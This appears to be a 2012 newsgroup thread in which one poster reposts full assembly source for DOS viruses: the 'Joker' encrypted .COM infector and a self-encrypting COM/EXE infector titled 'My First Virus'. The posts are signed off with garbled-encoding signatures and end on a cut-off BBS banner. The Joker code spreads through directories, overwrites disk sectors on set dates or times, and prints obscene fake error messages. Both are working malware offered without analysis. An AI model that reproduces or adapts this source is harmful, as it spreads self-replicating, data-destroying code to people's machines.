FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start


HÕ Ñ ×ÒÏÄÅ ×ÓÅ ÓËÁÚÁÌ... íÏÖÅÔ ÅÝÅ ÞÔÏ ÄÏÂÁ×ÌÀ ÐÏÔÏÍ...
[–] ðÏËÁ _All_ !

Ž¡ ¡ ¡Ž¡ ¡¡ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2¡5080Ž244¡0 FTP://87.224.224.182

... úÁ Ä×ÕÍÑ ÚÁÊÃÁÍÉ ÐÏÇÏÎÉÛØÓÑ - ÎÁ ÔÏÐÏÒ ÎÁÏÐÒÉÛÓÑ.

John Zaicev

unread,
May 13, 2012, 5:03:15 AM5/13/12
to
[√] Привет _All_ !

title " Joker! virus. Written by The BOOT SECTOR Infector ... "
;
; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original
; had multiple programming errors in it that kept it from replicating.
; My version is much more successful.
;


page 255,80
code segment word public 'code'
assume cs:code,ds:code
org 100h
main proc;edure


;EQUates...
idc equ 69h ;ID character - (note: 69)
cr equ 13 ;ASCII for carriage return
lf equ 10 ;ASCII for line feed

;End codes. These determine what happens after the string is displayed.

terminate equ 0 ;Terminate program after display
halt equ 1 ;Cause the system to hang after display
SimulateCritErr equ 2 ;Simulate the critical error handler
return2host equ 3 ;Resume program immediately
FlashFloppy equ 4 ;Wait for a key, then reset Drive A:
WaitKey equ 5 ;Wait for a key, then resume program
PauseKey equ 6 ;Same thing, but uses a pause message
StackError equ 7 ;Cause a stack overflow (halts system)



tof: ;Top-Of-File
jmp begin ;Skip over program
idchar: db idc ;ID character

HostProgram: nop ;First run copy only!
nop ;First run copy only!

first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!

begin: call nextline ;Push IP+3 onto stack
nextline: pop bp ;mov bp,ip
sub bp,offset nextline ;bp=disp. for mem locs

push ax ;Save AX
call cryptor ;Decrypt
jmp short retloc ;Continue program

cryptor: mov al,[bp+offset encrypt_val] ;encrypt val
lea si,[bp+offset toec] ;Top Of Encrypted Code
mov cx,offset eoec-offset toec ;Length of " "
cryptorloop: xor [si],al ;en/de crypt
rol al,cl ;change code #
inc si ;Next char please!
loop cryptorloop ;loop if necessary
ret ;Return to caller

infect: call cryptor ;Encrypt code
pop cx ;Restore CX for INT 21
int 21h ;Call DOS
call cryptor ;Decrypt code
ret ;Go back

toec:;ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДTop Of Encrypted Code
InfectIt: push cx ;Save CX for sub
jmp infect

retloc: pop ax ;Restore AX
xor di,di ;DI = 0

cli ;Disable interrupts
mov ss,di ;Set up stack at:
mov sp,2F0h ; 0000:02F0
sti ;Enable interrupts

mov si,96h ;Vector for INT 24h
mov bx,ss:[si] ;BX = offset in segment
mov cx,ss:[si+2] ;CX = segment
lea dx,[bp+offset int24handler] ;CS:DX -} local handler
mov ss:[si],DX ;Save offset
mov ss:[si+2],cs ;Save segment
mov si,es:[di+2F8h] ;Check operation mode
cmp si,4643h ;'CF' if already TSRed
jne GoOn ;Nope, jmp
jmp return ;Yes, don't do anything

GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP
mov cs:[di+4Eh],cx ; to save BX and CX
push cs ;Copy CS ...
pop es ; ... to DS

mov byte ptr [bp+offset infected],0 ;Reset infection count
mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less

GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
cld ;Read left-to-right
movsw ;Copy the 4 bytes
movsw ;Copy the 4 bytes

mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA

mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...

return: mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor di,di ;DI= 0
mov es,di ;ES= 0
mov si,96h ;Vector for INT 24h
mov bx, cs:[di+4Ch] ;Restore from saved BX
mov word ptr es:[si+0], bx ;Place back into vector
mov cx, cs:[di+4Eh] ;Restore from saved CX
mov word ptr es:[si+2], cx ;Place back into vector
push cs ;Move CS ...
pop es ; ... to ES

mov ax,[bp+offset SavedAX] ;Restore AX
xor bx,bx ;BX= 0
mov cx,bx ;CX= 0
mov dx,cx ;DX= 0
mov si,dx ;SI= 0
mov di,si ;DI= 0
mov sp,0FFFEh ;SP= FFFEh (normal)
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h

nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ

continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files

skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error

mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read

cmp byte ptr [bp+offset check],idc ;Already infected?
je nextfile ;Yep, try again ...
;NOTE: Delete the two lines above if you want it to re-infected programs.

cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE?
je nextfile ;Yep, maybe next time!

mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek

cmp ah,0F8h ;Longer than 62K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location

mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes

mov ah,[bp+offset encrypt_val] ;Get code number
inc ah ;add 1
adc ah,0 ;increment if it's zero
mov [bp+offset encrypt_val],ah ;Save new code number

mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
call InfectIt ;Exempt from encryption
ComeBackHere: mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek

mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location

mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst.
mov byte ptr [bp+offset check],idc ;EOFMARK

mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at [DX]
int 21h ;Write to file

inc byte ptr [bp+offset infected] ;increment counter
dec byte ptr [bp+offset max2kill] ;decrement counter
jz TheEnd ;If 0 then End

inc byte ptr [bp+offset encrypt_val] ;change code #
adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0
jmp nextfile ;Next victim!

NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected?
jae TheEnd ;The party's over!

mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je TheEnd ;Don't go to prev. dir.

lea dx,[bp+offset prevdir] ;'..'
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh
jmp continue ;Start over in new dir

TheEnd: xor di,di ;DI= 0
mov es,di ;ES= 0
mov ah,2ah ;Get date
int 21h ;Do it
cmp dl,4 ;4th of the month?
jne test2 ;Nope, second test
cmp dh,7 ;July?
jne test2 ;Nope, second test
xor ax,ax ;Sector 0
jmp Kill ;Kill the disk now...

test2: mov ah,2ch ;Get time
int 21h ;Do it
or cl,cl ;On the hour? (x:00 xM)
jnz GiveUp ;Return to program
cmp ch,6 ;Midnight to 5 AM ???
jnl GiveUp ;Return to program
add cl,ch ;Add first number
mov ax,cx ;Transfer to AX
cbw ;Zero out AH
add al,dh ;Add DL to AL
adc al,dl ;Add DL and carry flag
adc ah,0 ;Add carry to AH
or ax,ax ;AX = 0 ???
jnz Kill ;Kill the disk now...
inc ax ;Well, adjust first...

Kill: mov dx,ax ;Sector number
mov cx,1 ;One at a time....
xor bx,bx ;Point at PSP
mov ah,19h ;Get current disk
int 21h ;Call DOS to ^
int 26h ;Now kill the disk

GiveUp: mov bx,offset message_table ;point to table

mov ah,2ch ;Get time
int 21h ;Call DOS to ^
inc dh ;(0-59)

timeloop: cmp dh,msgs ;mapped yet?
jl timedone ;Yes, jump
sub dh,msgs ;try to map it
jmp short timeloop ;and check out work

timedone: mov al,dh ;AL gets msg #
mov cl,al ;Save in CL for CritErr
cbw ;AH gets 0
shl ax,1 ;AX = AX * 2
add bx,ax ;BX = index
mov si,[bx] ;SI points to string
mov ch,[si-1] ;CH is technique #
mov dx,si ;DX points to string

mov ah,9 ;Display string
int 21h ;Call DOS to ^

cmp ch,terminate ;Terminate program?
je TerminateProg ;Nope, next test

cmp ch,halt ;Halt program?
je $ ;Hang system if ch=halt

cmp ch,SimulateCritErr ;Simulate CritErr?
je simulate ;yes, go do it

cmp ch,Return2host ;Return to host?
je ResumeProgram ;yes, go do it

cmp ch,FlashFloppy ;Flash drive A:?
je FlashFlop ;Yes, go do it

cmp ch,WaitKey ;Wait for keypress?
je zwait ;Yes, go do it

cmp ch,PauseKey ;Pause message w/ wait?
je zpause ;Yes, go do it

cmp ch,StackError ;Stack overflow?
je StackErr ;Yes, go do it

;Invalid code, assume Return2host

ResumeProgram: jmp return ;Return to caller
StackErr: call $ ;Cause stack overflow
TerminateProg: int 20h ;Yep, all done!

simulate: lea dx,[bp+offset ARIFmsg] ;Abort, Retry ...
mov ah,9 ;Print string
int 21h ;Call DOS to ^

mov ah,1 ;Input a char
int 21h ;Call DOS to ^

lea dx,[bp+offset crlf] ;crlf
mov ah,9 ;Print string
int 21h ;Call DOS to ^

cmp al,'a' ;Uppercase?
jb uppercase ;Nope, jump
sub al,' ' ;Yes, make uppercase

uppercase: cmp al,'A' ;Abort?
je terminateprog ;Yep, go do it.

cmp al,'R' ;Retry?
jne zskip ;skip over "retry" code

lea dx,[bp+offset crlf] ;Point to crlf
mov ah,9 ;Print string
int 21h ;Call DOS to ^
mov dh,cl ;Restore DH from CL
jmp timedone ;Reprint error

zskip: cmp al,'I' ;Ignore?
je ResumeProgram ;Return to host program
cmp al,'F' ;Fail?
jne simulate ;Invalid response

lea dx,[bp+offset fail24] ;Point to fail string
mov ah,9 ;Print string
int 21h ;Call DOS to ^
int 20h ;Terminate program

FlashFlop: mov ah,1 ;Wait for keypress
int 21h ;Call DOS to ^

xor ax,ax ;Drive A:
mov cx,1 ;Read 1 sector
mov dx,ax ;Start at boot sector
lea bx,[bp+offset boot_sector] ;BX points to buffer
int 25h ;Flash light on A:
jmp short ResumeProgram ;Resume if no error

zpause: lea dx,[bp+offset pause] ;Point to pause message
mov ah,9 ;Print string
int 21h ;Call DOS to ^
zwait:
mov ah,1 ;Wait for keypress
int 21h ;Call DOS to ^
jmp short ResumeProgram ;Go on...





ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail?$'
fail24 db cr,lf,cr,lf,'Fail on INT 24'
crlf db cr,lf,'$'

message_table:
dw offset msg1
dw offset msg2
dw offset msg3
dw offset msg4
dw offset msg5
dw offset msg6
dw offset msg7
dw offset msg8
dw offset msg9
dw offset msg10
dw offset msg11
dw offset msg12
dw offset msg13
dw offset msg14
dw offset msg15
dw offset msg16
dw offset msg17
dw offset msg18
dw offset msg19
dw offset msg20

msgs db 20

; I tried to make it as simple as possible to change the messages
; and add/delete them. Each message is in the format:
;
; db [technique]
;[label] db [Text]
;
; Where [technique] is one of the 8 codes shown at the beginning of
; this file (terminate, halt, etc.). This determines what the virus
; should do after printing the message.
; [label] is in the form "msg##" where ## is a number from 1 to
; "msgs". "msgs" is defined immediately before this
; comment block.
; [text] is a combination of text and ASCII codes, terminated by
; either a '$' or a ,36.
;
; If you change the number of messages the virus has, you should also
; add/remove lines from the offset table and change the "msgs"
; data byte appropriately. Let's say for instance that you want
; to remove "Program too big to fit in memory.":
; 1) Delete the line(s) with the message and the line
; immediately before it.
; 2) Move message #20 up to message #2's position and
; change its label from "msg20" to "msg2".
; 3) Delete the line "dw offset msg20" from the offset
; table.
; 4) Change the line before this comment block to:
; "msgs db 19"
;
; Later!
; -The BOOT SECTOR Infector ...
;

db FlashFloppy ;Waits for key, then flashes drive A:
msg5 db 'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf
pause db 'Strike any key when ready... $'

db SimulateCritErr ;Prints ARIF message and responds appropriately
msg1 db 'Impotence error reading user',39,'s dick$'

db terminate ;Ends the program immediately
msg2 db 'Program too big to fit in memory',cr,lf,'$'

db halt ;Halts the system
msg3 db 'Cannot load COMMAND, system halted',cr,lf,'$'

db terminate ;Ends the program immediately
msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid'
db ' I can',39,'t do that!',cr,lf,'$'

db WaitKey ;Waits for a keypress, then runs the program
msg6 db 'Format another? (Y/N)? $'

db StackError ;Generates a stack overflow (halts the system)
msg7 db 'Damn it! I told you not to touch that!$'

db terminate ;Ends the program immediately
msg8 db 'Suck me!',cr,lf,'$'

db SimulateCritErr ;Prints ARIF message and responds appropriately
msg9 db 'Cocksucker At Keyboard error reading device CON:$'

db terminate ;Ends the program immediately
msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf
db 'I',39,'m sorry, but your call cannot be completed as dialed.'
db cr,lf,'Please hang up & try your call again.',cr,lf,'$'

db terminate ;Ends the program immediately
msg11 db 'No!',cr,lf,cr,lf,'$'

db halt ;Halts the system
msg12 db 'Panic kernal mode interrupt$'

db WaitKey ;Waits for a keypress, then runs the program
msg13 db 'CONNECT 1200<',cr,lf,cr,lf,'$'

db return2host ;Runs host program immediately
msg14 db 'Okay, okay! Be patient! ...',cr,lf,'$'

db terminate ;Ends the program immediately
msg15 db 'And if I refuse?',cr,lf,'$'

db return2host ;Runs host program immediately
msg16 db 'Fuck the world and its followers!',cr,lf,'$'

db return2host ;Runs host program immediately
msg17 db 'You are pathetic, man... you know that?',cr,lf,'$'

db terminate ;Ends the program immediately
msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf,'$'

db terminate ;Ends the program immediately
msg19 db 'Your coprocessor wears floppy disks!',cr,lf,'$'

db PauseKey ;Waits for keypress (SAKWR), then runs host prg
msg20 db 'Joker! ver аа by TBSI!',cr,lf
db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf,'$'

int24handler: xor al,al ;Ignore the error
iret ;Interrupt return


filespec: db '*.COM',0 ;File specification
prevdir: db '..',0 ;previous directory
max2kill db 3 ;max. files to infect

eoec:;ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДEnd Of Encrypted Code
VersionNumber dw 100h ;Version 1.00
encrypt_val db 0 ;1st-run copy only

; None of this information is included in the virus's code. It is only used
; during the search/infect routines and it is not necessary to preserve it
; in between calls to them.

eof:
DTA:

db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename

SavedAX dw ? ;Used to save AX
infected db ? ;infection count
addr dw ? ;Address

boot_sector:

main endp;rocedure
code ends;egment

end main

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Лети с приветом, вернись умным.

John Zaicev

unread,
May 13, 2012, 5:02:58 AM5/13/12
to
[–] ًزة×إش _All_ !

;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM and EXE *
;* infector. *
;* by, Joshua *
;* *
;******************************************************************

ID = 'SS' ; My ID

.model tiny ; Memory model
.code ; Start Code
org 100h ; Start of COM file

MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS

START proc near

DECRYPT: mov bx,offset START_VIRUS ; Find out our offset
mov cx,(END_VIRUS-START_VIRUS)/2
DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx
KEY dw 0 ; Crypt KEY
add bx,2 ; Increment offset
dec cx ; Decrement counter
jnz DECRYPT_LOOP ; Continue until done

START_VIRUS:
call FIND_OFFSET ; Real start of virus

; Calculate change in offset from host program.

FIND_OFFSET: pop bp ; BP holds current IP
sub bp, offset FIND_OFFSET ; Calculate net change
; Change BP to start of
; virus code

; Capture INT 24h Critical error handler.

push es ; Save ES
mov ax,3524h ; DOS get interupt vector
int 21h ; Call DOS to do it
mov word ptr [bp+OLDINT24],bx ; Save old INT 24h
mov word ptr [bp+OLDINT24+2],es ; vector
mov ah,25h ; DOS set interupt vector
lea dx,[bp+NEWINT24] ; Address of new interupt
int 21h ; Call DOS to do it
pop es ; Restore ES

; Find out what kind of program I am, COM or EXE, by checking stack pointer.
; This is where I store my ID in an EXE infection.

cmp sp,ID ; COM or EXE?
je RESTORE_EXE ; I am an EXE file

; Restore original bytes to the COM program.

RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes
mov di,100h ; to 100h, start of file
push di ; Jmp to 100h when done
movsw ; Copy 3 bytes
movsb
jmp short RESTORE_DONE

; Restore original bytes to the EXE program.

RESTORE_EXE: push ds ; Save original DS
push es ; Save original ES
push cs ; Set DS = CS
pop ds
push cs ; Set ES = CS
pop es
lea si,[bp+JMPSAVE] ; Copy original CS:IP and
lea di,[bp+JMPSAVE2] ; SS:SP for return
movsw ; Copy 8 bytes
movsw
movsw
movsw

; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
; original command line parameters.

RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area
mov ah,1ah ; DOS set DTA
int 21h ; Call DOS to do it

; Save original directory.

mov ah,47h ; DOS get current directory
lea si,[bp+ORIG_DIR] ; Store it here
mov dl,0 ; Current drive
int 21h ; Call DOS to do it

; Search for a file to infect.

SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file
call FINDFIRST ; Begin search
lea dx,[bp+COM_MASK] ; Search for any COM file
call FINDFIRST ; Begin search

mov ah,3bh ; DOS change directory
lea dx,[bp+DOTDOT] ; Go up one direcotry
int 21h ; Call DOS to do it
jnc SEARCH ; Go look for more files

; Restore default DTA, original directory, and pass control back to
; original program.

QUIT: mov ah,3bh ; DOS change directory
lea dx,[bp+ORIG_DIR-1] ; Point to original directory
int 21h ; Call DOS to do it
push ds ; Save DS
mov ax,2524h ; DOS set interupt vector
lds dx,[bp+OLDINT24] ; Restore INT 24h
int 21h ; Call DOS to do it
pop ds ; Restore DS
mov ah,1ah ; DOS set DTA
mov dx,80h ; Restore original DTA
cmp sp,ID-4 ; EXE or COM? ES,DS on stack
jz QUIT_EXE ; Pass control to host EXE

QUIT_COM: int 21h ; Call DOS to set DTA
retn ; Remember, 100h was on stack

QUIT_EXE: pop es ; Restore original ES
pop ds ; Restore original DS
int 21h ; Call DOS to set DTA
mov ax,es ; AX = begin of PSP segment
add ax,16 ; Add size of PSP to get CS
add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP
add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS
cli ; Clear interrupts
mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP
mov ss,ax ; Restore SS
sti ; Set interrupts
db 0eah ; Jump SSSS:OOOO

JMPSAVE2 dd ? ; CS:IP for EXE return
STACKSAVE2 dd ? ; SS:SP for EXE return
JMPSAVE dd ? ; Original EXE CS:IP
STACKSAVE dd ? ; Original EXE SS:SP

CREATOR db '[Joshua]' ; That's me!

; DOS Findfirst / Findnext services

FINDFIRST: mov ah,4eh ; DOS find first service
mov cx,7 ; Choose files w/ any attribute
FINDNEXT: int 21h ; Call DOS to do it
jc END_SEARCH ; Quit if there are errors
; or no more files

; Ok, if I am here, then I found a possible victim. First open the file
; for read only.

mov al,0 ; DOS Open file, read only
call OPEN ; Open the file

; Read in the beginning bytes to check for previous infection and then close.

mov ah,3fh ; DOS Read file
lea dx,[bp+BUFFER] ; Save the original header
mov cx,24 ; Read 24 bytes
int 21h ; Call DOS to do it
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it

; Check if the file is an EXE.

CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE?
jne CHECK_COM ; Nope, see if it's a COM
cmp word ptr [bp+BUFFER+16],ID; Is it already infected?
je ANOTHER ; Yep, so try another
jmp short INFECT_EXE ; We got one! Go infect it!


; Check if the file is COMMAND.COM

CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM
jz ANOTHER ; If it is, try another file

; Now, check for previous infection by checking for our presence at
; the end of the file.

mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX
cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big
jle ANOTHER ; If so, try another
mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX
add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset
cmp ax,cx ; Compare file size's
jnz INFECT_COM ; If healthy, go infect it

ANOTHER: mov ah,4fh ; Otherwise find another
jmp short FINDNEXT ; possible victim

END_SEARCH: retn ; No files found

;*** Subroutine INFECT_COM ***

INFECT_COM:

; Save the first three bytes of the COM file

lea si,[bp+BUFFER] ; Start of first 3 bytes
lea di,[bp+COM_START] ; Store them here
movsw ; Transfer the 3 bytes
movsb

; Calculate jump offset for header of victim so it will run virus first.
; AX has the filesize. Store new JMP and OFFSET in the buffer.

mov cx,3 ; No. bytes to write in header
sub ax,cx ; Filesize - jmp_offset
mov byte ptr [si-3],0e9h ; Store new JMP command
mov word ptr [si-2],ax ; plus offset
add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET
push ax ; Save it for later
jmp DONE_INFECTION ; We're done!

;*** Subroutine INFECT_EXE ***

INFECT_EXE:

; Save original CS:IP and SS:SP.

les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP
mov word ptr [bp+JMPSAVE],ax ; Store IP
mov word ptr [bp+JMPSAVE+2],es ; Store CS
les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP
mov word ptr [bp+STACKSAVE],es ; Store SP
mov word ptr [bp+STACKSAVE+2],ax ; Store SS

; Get get the header size in bytes.

mov ax,word ptr [bp+BUFFER+8] ; Get header size
mov cl,4 ; Convert paragraphs to bytes
shl ax,cl ; Multiply by 16
xchg ax,bx ; Put header size in BX

; Get file size.

les ax,[bp+offset DTA+26] ; Get filesize to
mov dx,es ; DX:AX format

push ax ; Save filesize
push dx

sub ax,bx ; Subtract header size
sbb dx,0 ; from filesize

mov cx,16 ; Convert to SEGMENT:OFFSET
div cx ; form

; Store new entry point (CS:IP) in header.

mov word ptr [bp+BUFFER+20],dx; Store IP
mov word ptr [bp+BUFFER+22],ax; Store CS

add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset
mov bx,dx ; Hold it for now

; Store new stack frame (SS:SP) in header.

mov word ptr [bp+BUFFER+14],ax; Store SS
mov word ptr [bp+BUFFER+16],ID; Store SP

pop dx ; Get back filesize
pop ax

add ax,END_VIRUS-START_VIRUS ; Add virus size
adc dx,0 ; to filesize

push ax ; Save AX
mov cl,9 ; Divide AX
shr ax,cl ; by 512
ror dx,cl
stc ; Set carry flag
adc dx,ax ; Add with carry
pop ax ; Get back AX
and ah,1 ; Mod 512

; Store new filesize in header.

mov word ptr [bp+BUFFER+4],dx ; Store new filesize
mov word ptr [bp+BUFFER+2],ax

push cs ; Restore ES
pop es
mov cx,24 ; No. bytes to write in header

push bx ; Save START_VIRUS offset

; Write virus to victim and restore the file's original timestamp, datestamp,
; and attributes. These values were stored in the DTA by the
; Findfirst / Findnext services.

DONE_INFECTION:
push cx ; Save no. bytes to write
xor cx,cx ; Clear attributes
call SET_ATTR ; Set attributes

mov al,2 ; DOS open file for read/write
call OPEN ; Open the file

; Write the new header at the beginning of the file.

mov ah,40h ; DOS write to file
pop cx ; Number of bytes to write
lea dx,[bp+BUFFER] ; Point to the bytes to write
int 21h ; Call DOS to do it

; Move to end of file.

mov ax,4202h ; DOS set read/write pointer
xor cx,cx ; Set offset move to zero
cwd ; Equivalent to xor dx,dx
int 21h ; Call DOS to do it

; Append virus to end of file.

mov ah,2ch ; DOS get time
int 21h ; Call DOS to do it
mov [bp+KEY],dx ; Save sec + 1/100 sec
; as the new KEY

lea di,[bp+APPEND] ; to the heap
mov cx,START_VIRUS-DECRYPT ; Number of bytes to move
mov al,53h ; Push BX and store it
stosb ; in the append routine
lea si,[bp+DECRYPT] ; Move Crypt routines
push si ; Save SI
push cx ; Save CX
rep movsb ; Transfer the data

lea si,[bp+WRITE_START] ; Now copy the write
mov cx,WRITE_END-WRITE_START ; routine to the heap
rep movsb ; Transfer the data

pop cx ; Get back
pop si ; CX and SI
rep movsb ; Recopy Crypt routine

mov ax,0c35bh ; Tack a POP BX and
stosw ; RETN on the end

pop ax ; New START_VIRUS offset
mov word ptr [bp+DECRYPT+1],ax; Store new offset

call APPEND ; Write the file

; Restore original creation date and time.

mov ax,5701h ; DOS set file date & time
mov cx,word ptr [bp+DTA+22] ; Set time
mov dx,word ptr [bp+DTA+24] ; Set date
int 21h ; Call DOS to do it

; Close the file.

mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it

; Restore original file attributes.

mov cx,word ptr [bp+DTA+21] ; Get original file attribute
call SET_ATTR ; Set attribute

pop bx ; Take CALL off stack


; ****** B O M B S E C T I O N ******

; Check to see if the virus is ready to activate.
; Put all activation tests and bombs here.

CONDITIONS: ; mov ah,2ah ; DOS get date
; int 21h ; Call DOS to do it
; cmp dx,1001h ; Check for Oct 1st
; jl BOMB_DONE ; Not time yet
; mov ah,2ch ; DOS get time
; int 21h ; Call DOS to do it
; cmp cl,25h ; Check for 25 min past
; jl BOMB_DONE ; Not time yet

BOMB: mov ah,3h ; BIOS find cursor position
mov bh,0 ; Video page 0
int 10h ; Call BIOS to do it
push dx ; Save original Row and Column
mov cx,6 ; Number of lines to print
lea si,[bp+VERSE] ; Location of VERSE
mov dx,080ah ; Row and Column of output
PRINTLOOP: mov ah,2h ; BIOS set cursor
int 10h ; Set cursor
push dx ; Save Row and Column
mov ah,9h ; DOS print string
mov dx,si ; Location of VERSE
int 21h ; Call DOS to print it
pop dx ; Get Row and Column
inc dh ; Increment Row
add si,54 ; Go to next line of VERSE
loop PRINTLOOP ; Print all lines

mov ah,00h ; Read character from keybd
int 16h

pop dx ; Get original Row Column
mov ah,2h ; BIOS set cursor
int 10h ; Call BIOS to do it

BOMB_DONE: jmp QUIT ; Go back to host program

VERSE: db 'مننننننننننننننننننننننننننننننننننننننننننننننننننن‍$'
db 'ک Guess what ??? ک$'
db 'ک You have been victimized by a virus!!! Do not ک$'
db 'ک try to reboot your computer or even turn it ک$'
db 'ک off. You might as well read this and weep! ک$'
db 'ُننننننننننننننننننننننننننننننننننننننننننننننننننن?',7,7,'$'

; Write routine to append the virus to the end of the file.

WRITE_START:
pop bx ; Get back file handle
push bx ; Save it again
mov ah,40h ; DOS write to file
mov cx,END_VIRUS-DECRYPT ; Length of virus
lea dx,[bp+DECRYPT] ; Start from beginning of virus
int 21h ; Call DOS to do it
WRITE_END:


; New INT 24h handler.

NEWINT24: mov al,3 ; Fail call
iret ; Return


;*** Subroutine OPEN ***
; Open a file. Takes AL as parameter.

OPEN proc near
mov ah,3dh ; DOS open file, read/write
lea dx,[bp+DTA+30] ; Point to filename we found
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX
retn ; Return
OPEN endp

;*** Subroutine SET_ATTR ***
; Takes CX as a parameter

SET_ATTR proc near
mov ax,4301h ; DOS change file attr
lea dx,[bp+DTA+30] ; Point to file name
int 21h ; Call DOS
retn ; Return
SET_ATTR endp


; This area will hold all variables to be encrypted

COM_MASK db '*.com',0 ; COM file mask
EXE_MASK db '*.exe',0 ; EXE file mask
DOTDOT db '..',0 ; Go up one directory
COM_START db 0cdh,20h,0 ; Header for infected file
BACKSLASH db '\' ; Backslash for directory

START endp

END_VIRUS equ $ ; Mark end of virus code

; This data area is a scratch area and is not included in virus code.

ORIG_DIR db 64 dup(?) ; Holds original directory

OLDINT24 dd ? ; Storage for old INT 24 vector

BUFFER db 24 dup(?) ; Read buffer and EXE header

DTA db 43 dup(?) ; New DTA location

APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?)

ENDHEAP:

end MAIN


Hص ر ×زدؤإ ×سإ سثءعءج... يدضإش إفإ قشد ؤدآء×جہ ذدشدح...
[–] ًدثء _All_ !

ژ،ڈ،پ،ژ،پپ،، DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2،5080ژ244،0 FTP://87.224.224.182

... ىہآء - ؤدزداد, دقإخط ؤدزداد.

John Zaicev

unread,
May 14, 2012, 2:42:46 AM5/14/12
to
[√] Привет _All_ !

;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
